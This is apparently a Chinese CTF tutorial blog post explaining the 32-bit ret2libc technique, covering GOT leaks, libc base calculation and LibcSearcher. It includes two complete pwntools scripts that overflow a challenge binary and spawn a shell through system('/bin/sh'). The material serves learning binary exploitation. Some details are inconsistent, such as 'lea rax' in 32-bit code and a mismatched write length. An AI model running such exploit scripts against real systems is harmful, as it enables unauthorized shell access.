RET2LIC(32bit的PC)

How求system函数的真实地址


way1.当能获得libc库时,


    1)libc库中的函数地址即为函数的偏移地址
        比如求puts函数的偏移地址
        elf=ELF('./filepath')
        libc=elf.libc
        puts_addr=libc.symbols['puts']
        所以只差求libc的基地址base
    2) 因为物理地址(真实地址)=基地址+偏移地址
        所以基地址base=(某函数的)物理地址(真实地址) - (某函数的)偏移地址
        引入plt,got知识,函数真实地址底层上从何而来?
        plt存储对应got地址,对应got地址才存放着对应函数的地址。
        函数地址不是直接由plt得到,在第一次调用函数时是通过plt找到函数真实地址最终存于got中,fun->fun_plt->fun_got。但有延迟绑定机制,当我们运行完该函数一次之后,plt中对应的直接就是该函数的真实地址
        所以只有运行了该函数,才能得到其真实地址(从对应got中)
        找write,puts等已经调用了的函数,因为一般题目就是会先调用write,puts等函数,因为它们还能输出(打印)对应参数(即对应地址上的内容)
        得到write真实地址
        易求得libc基地址,base=write_真实地址 - write偏移地址


way2.当得不到libc库时,


    则需确定libc的版本号。因为同一版本的libc对应函数的真实地址一样=>获得了对应函数的真实地址,那么就能获得libc的版本号。
       知道了版本号,就能获得任何有效函数的真实地址(用pwn的LibcSearcher模块实现)

How构造攻击栈


step1.利用栈泄露和ROP(返回导向编程),首先构造能打印Write函数地址的攻击栈


step2.再次,利用同样的方式,构造出最终能获得shellcode执行权限的攻击栈


构造核心:将目的程序段转换为真实的汇编结构写入到栈里,我们要做的就是模拟这个过程。


讲前知识点补充:函数递归调用以及函数传参的栈结构:

递归调用(caller为父函数,callee为子函数)

函数调用具体过程如下4步
step1,caller先压函数参数从右到左的顺序依次压入(参数一,二对应由高到低),如main函数里调用write(fd,buff_addr,size)时,main函数负责把参数fd,buff_addr,size依次压入(对应由高低址向低)


step2,caller使用call指令调用callee(操作隐含在call指令中),然后将call指令下一条指令地址压入栈(push address)return address.

step3.callee会先保存caller即父函数的ebp即(push ebp),然后再保存caller的esp即(mov ebp,esp)

step4,再存callee的局部变量(先定义的变量先入栈)

                                                                函数返回具体步骤
1,return前,会进行leave指令操作即2步(1)callee的esp会移动到callee的ebp,(2)再弹出ebp即(pop ebp),此时ebp的值是caller的ebp,caller的ebp值又回到ebp寄存器 ,同时esp指向return address

2.正式ret执行指令,callee的返回地址弹出到eip寄存器(pop eip),此时便eip指向了caller的执行处

结论:


1.子函数的ebp原本指向父函数的ebp

2.ebp有重要标记作用(以下针对32位的pc)

ebp+4处值为callee的返回地址

ebp+8处值为传给calee的第一个参数

ebp-4为calee内的第一个局部变量

3.ebp是重要标记,如何理解:父函数作为父亲,当儿子(子函数)要成家(调用时),会留财产给儿子(财产即为子函数压参,同时给了他参数空间);同时儿子(子函数)有时要回父家(子函数返回到父函数的调用处),因此父亲(父函数)就留下一个父家的地址给儿子(子函数的返回地址return address)。儿子暂别父亲就去开垦自己的房地(子函数向下压栈来开辟自己的栈空间,其中子函数栈空间开始标志动作就是push ebp这个ebp是previous ebp即父函数的ebp值),然后继续向下开辟资源(存入子函数自己的局部变量)。所以ebp就像一个分界线一样,向上高低址是父函数栈,向下相对的低地址就是子函数的栈空间。

具体的构造process(带图)32位的pc

step1.利用栈泄露和ROP(返回导向编程),首先构造能打印Write地址的攻击栈

32位机用栈进行传参,构造write(1,write_got_addr,4)变成汇编,

push 4
lea rax, [fun_got_addr]
push rax
push 1
call write

因为栈是后进先出的(即若要按上面从上往下的顺序执行汇编代码,所以要使push 4先运行则要放后面即放低地址)。再不懂如图

payload+=padding#填充垃圾字符
payload+=ebp#callee的ebp
payload+=write_plt #因为write已经运行过一次,所以plt可以直接去找到write的真实地址(前面延迟绑定讲过了)
payload+=write运行后的返回地址填vul函数地址
payload+=write的第一个参数1
paylaod+=write的第二个参数got_addr
payload+=第三个参数4
step2.再次,利用同样的方式,构造出最终能获得shellcode执行权限的攻击栈
payload_+=offset#填充垃圾字节包括ebp的4byte
payload_+=p32(system_addr)#上一个构造的ret返回此处开始执行
payload_+=p32(13)#这里随意填写4字节的数据作为system函数的返回地址,随意填!
payload_+=p32(binsh_addr)#system的参数1

最终代码

way1,能获得libc时用
from pwn import *
io=process('./level3')
elf=ELF('./level3')
libc=elf.libc
libc = ELF("/lib/i386-linux-gnu/libc.so.6")#直接用题目提供的libc,更稳当

write_plt=elf.plt['write']
write_got=elf.got['write']
vul_func_addr = elf.symbols['vulnerable_function']
offset=140*b'A'
payload=offset+p32(write_plt)+p32(vul_func_addr)+p32(1)+p32(write_got)+p32(13)
io.sendlineafter("Input:\n", payload)
write_addr = u32(io.recv(4))
base=write_addr-libc.symbols['write']
system_addr=base+libc.symbols['system']
binsh_addr=base+next(libc.search(b'/bin/sh'))
payload_=offset+p32(system_addr)+p32(13)+p32(binsh_addr)
io.sendlineafter('Input:\n',payload_)
io.interactive()
way2无法获得libc时
from pwn import *
from LibcSearcher import *
io=process('./level3')
elf=ELF('./level3')
#libc=elf.libc
libc = ELF("/lib/i386-linux-gnu/libc.so.6")#直接用题目提供的libc,更稳当

write_plt=elf.plt['write']
write_got=elf.got['write']
vul_func_addr = elf.symbols['vulnerable_function']
offset=140*b'A'
payload=offset+p32(write_plt)+p32(vul_func_addr)+p32(1)+p32(write_got)+p32(13)
io.sendlineafter("Input:\n", payload)
write_addr = u32(io.recv(4))
libc=LibcSearcher('write',write_addr)
base=write_addr-libc.dump('write')
system_addr=base+libc.dump('system')
binsh_addr = base+libc.dump('str_bin_sh')
payload_=offset+p32(system_addr)+p32(13)+p32(binsh_addr)
io.sendlineafter('Input:\n',payload_)
io.interactive()
64位整体思路一样,只是参数是要pop给寄存器存储进行传参(构造pop链),而不是用栈来传参。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值